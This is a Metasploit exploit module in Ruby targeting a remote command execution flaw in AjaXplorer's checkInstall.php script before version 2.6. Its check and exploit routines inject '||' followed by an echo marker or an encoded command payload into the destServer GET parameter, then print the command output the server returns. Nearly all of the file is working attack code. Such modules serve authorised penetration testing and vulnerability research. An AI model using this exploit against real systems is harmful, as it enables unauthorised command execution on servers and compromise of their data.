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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'AjaXplorer checkInstall.php Remote Command Execution',
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      'Description'    => %q{
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          This module exploits an arbitrary command execution vulnerability in the
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        AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
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        2.6 are vulnerable.
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      },
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      'Author'         =>
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        [
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          'Julien Cayssol',  #Credited according to SecurityFocus
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          'David Maciejak',  #Metasploit module
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          'sinn3r'           #Final touch on the Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '63552' ],
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          [ 'BID', '39334' ]
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 512,
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          'Compat'      =>
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            {
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              'ConnectionType' => 'find',
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl ruby python telnet'
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            }
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        },
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      'Platform'       => %w{ bsd linux osx unix win },
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      'Arch'           => ARCH_CMD,
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      'Targets'        => [[ 'AjaXplorer 2.5.5 or older', { }]],
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      'DisclosureDate' => '2010-04-04',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
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      ])
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  end
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  def check
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    uri = target_uri.path
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    uri << '/' if uri[-1,1] != '/'
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    clue = Rex::Text::rand_text_alpha(rand(5) + 5)
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'      => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),
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      'vars_get' => {
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        'destServer'    => "||echo #{clue}"
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      }
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    })
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    # If the server doesn't return the default redirection, probably something is wrong
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    if res and res.code == 200 and res.body =~ /#{clue}/
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    peer = "#{rhost}:#{rport}"
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    uri = target_uri.path
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    # Trigger the command execution bug
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'      => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),
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      'vars_get' =>
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        {
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          'destServer'    => "||#{payload.encoded}"
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        }
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      })
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    if res
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      print_status("The server returned: #{res.code} #{res.message}")
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      m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
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      if m.empty?
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        print_error("This server may not be vulnerable")
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      else
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        print_status("Command output from the server:")
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        print_line(m)
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      end
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    end
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  end
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end
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=begin
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Repo:
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http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
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=end
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